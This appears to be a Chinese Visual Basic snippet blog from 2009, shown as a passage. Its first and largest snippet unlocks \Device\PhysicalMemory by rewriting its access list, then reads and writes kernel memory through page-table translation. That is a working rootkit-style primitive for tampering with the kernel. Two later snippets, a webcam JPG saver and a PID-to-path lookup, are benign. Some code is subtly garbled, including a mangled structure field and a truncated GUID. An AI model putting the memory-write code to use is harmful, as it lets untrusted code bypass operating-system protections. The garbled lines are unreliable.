CloseHandle g_hMPM
End If
End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub

Private Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, Attributes)
End If

Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lDirectoty = &H30000
Case 1
lDirectoty = &H39000
End Select
End If
End If
End If

If Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long

VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4

If (PGDE And 1) <> 0 Then
lTemp = PGDE And &H80
If lTemp <> 0 Then
PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
Else
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
lTemp = (VAddr And &H3FF000) / (2 ^ 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4

If (PTE And 1) <> 0 Then
PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
UnmapViewOfFile PGDE
End If
End If
End If

LinearToPhys = PAddr
End Function

Private Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ret, ByVal ret, 4

UnmapViewOfFile tmp
GetData = ret
End If
End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp
SetData = True
End If
End Function

Private Function ByteArrToLong(inByte() As Byte) As Double
Dim i As Integer
For i = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
Next i
End Function

打开摄像头程序并保存jpg文件

2009-04-11T17:54:15+08:00

Private Declare Function SendMessage Lib "USER32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function capCreateCaptureWindow Lib "avicap32.dll" Alias "capCreateCaptureWindowA" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hwndParent As Long, ByVal nID As Long) As Long
Private Const GET_FRAME As Long = 1084
Private Const COPY As Long = 1054
Private Const CONNECT As Long = 1034
Private Const DISCONNECT As Long = 1035
Private CapHwnd As Long

Private Sub Command1_Click()
   '打开摄像头
   Dim xMax As Integer, xMon As Integer
   CapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 640, 480, Me.hwnd, 0)
   DoEvents
   SendMessage CapHwnd, CONNECT, 0, 0
   Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
   '停止摄像头
   DoEvents
   SendMessage CapHwnd, DISCONNECT, 0, 0
   Timer1.Enabled = False
End Sub

Private Sub Command3_Click()
   '图像保存路径：
   Dim sFileName As String
   sFileName = Format(Date, "yyyyMMdd") & Format(TimeValue(Time), "HHmmss")
   SaveJPG Picture1, Text1.Text & "\" & sFileName & ".jpg", 80
End Sub

Private Sub Form_Load()
    Text1.Text = App.Path & "\"
End Sub

Private Sub Timer1_Timer()  'timer1.Interval=50
   On Error Resume Next
   SendMessage CapHwnd, GET_FRAME, 0, 0
   SendMessage CapHwnd, COPY, 0, 0
   Picture1.Picture = Clipboard.GetData
   Picture2.Picture = Clipboard.GetData
   Clipboard.Clear
End Sub

module1内容----------------------------------------------------------

Option Explicit
Private Type GUID
    Data1  As Long
    Data2  As Integer
    Data3  As Integer
    Data4(0 To 7)    As Byte
End Type
Private Type GdiplusStartupInput
    GdiplusVersion  As Long
    DebugEventCallback  As Long
    SuppressBackgroundThread  As Long
    SuppressExternalCodecs  As Long
End Type
Private Type EncoderParameter
    GUID  As GUID
    NumberOfvalues  As Long
type  As Long
    value  As Long
End Type
Private Type EncoderParameters
    Count  As Long
    Parameter  As EncoderParameter
End Type
Private Declare Function GdiplusStartup Lib "GDIPlus" (token As Long, inputbuf As GdiplusStartupInput, Optional ByVal outputbuf As Long = 0) As Long
Private Declare Function GdiplusShutdown Lib "GDIPlus" (ByVal token As Long) As Long
Private Declare Function GdipCreateBitmapFromHBITMAP Lib "GDIPlus" (ByVal hbm As Long, ByVal hpal As Long, Bitmap As Long) As Long
Private Declare Function GdipDisposeImage Lib "GDIPlus" (ByVal Image As Long) As Long
Private Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal filename As Long, clsidEncoder As GUID, encoderParams As Any) As Long
Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long

'  ----====  SaveJPG  ====----

Public Sub SaveJPG(ByVal pict As StdPicture, ByVal filename As String, Optional ByVal quality As Byte = 80)
    Dim tSI   As GdiplusStartupInput
    Dim lRes   As Long
    Dim lGDIP   As Long
    Dim lBitmap   As Long
    '  Initialize  GDI+
    tSI.GdiplusVersion = 1
    lRes = GdiplusStartup(lGDIP, tSI)
    If lRes = 0 Then
        '  Create  the  GDI+  bitmap
        '  from  the  image  handle
        lRes = GdipCreateBitmapFromHBITMAP(pict.Handle, 0, lBitmap)
        If lRes = 0 Then
            Dim tJpgEncoder   As GUID
            Dim tParams   As EncoderParameters
            '  Initialize  the  encoder  GUID
            CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
            '  Initialize  the  encoder  parameters
            tParams.Count = 1
            With tParams.Parameter   '  Quality
                '  Set  the  Quality  GUID
                CLSIDFromString StrPtr("{1D5BE4B5-FA4A-452D-9CDD-5DB3505E7EB}"), .GUID
                .NumberOfvalues = 1
                .type = 1
                .value = VarPtr(quality)
            End With
            '  Save  the  image
            lRes = GdipSaveImageToFile(lBitmap, StrPtr(filename), tJpgEncoder, tParams)
            '  Destroy  the  bitmap
            GdipDisposeImage lBitmap
        End If
        '  Shutdown  GDI+
        GdiplusShutdown lGDIP
    End If
    If lRes Then
        Err.Raise 5, , "Cannot  save  the  image.  GDI+  Error:" & lRes
    End If
End Sub

vb 通过进程pid获取进程路径

2009-04-11T17:51:38+08:00

Option Explicit
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long

Private Function GetProcessNameByProcessId(ByVal Pid As Long) As String
     Dim szBuf(1 To 250) As Long
     Dim Ret As Long
     Dim szPathName As String
     Dim nSize As Long
     Dim hProcess As Long
     hProcess = OpenProcess(&H400 or &H10, 0, Pid)
     If hProcess <> 0 Then
        Ret = EnumProcessModules(hProcess, szBuf(1), 250, Pid)
        If Ret <> 0 Then
            szPathName = Space(260)
            nSize = 500
            Ret = GetModuleFileNameExA(hProcess, szBuf(1), szPathName, nSize)
            GetProcessNameByProcessId = szPathName
        End If
     End If
     Ret = CloseHandle(hProcess)
End Function
调用GetProcessNameByProcessId (进程pid即可)
修改下可以取得进程名
Private Sub Command1_Click()
Dim SplitStr() As String
SplitStr = Split(GetProcessNameByProcessId(pid), "\")
MsgBox SplitStr(UBound(SplitStr))
End Sub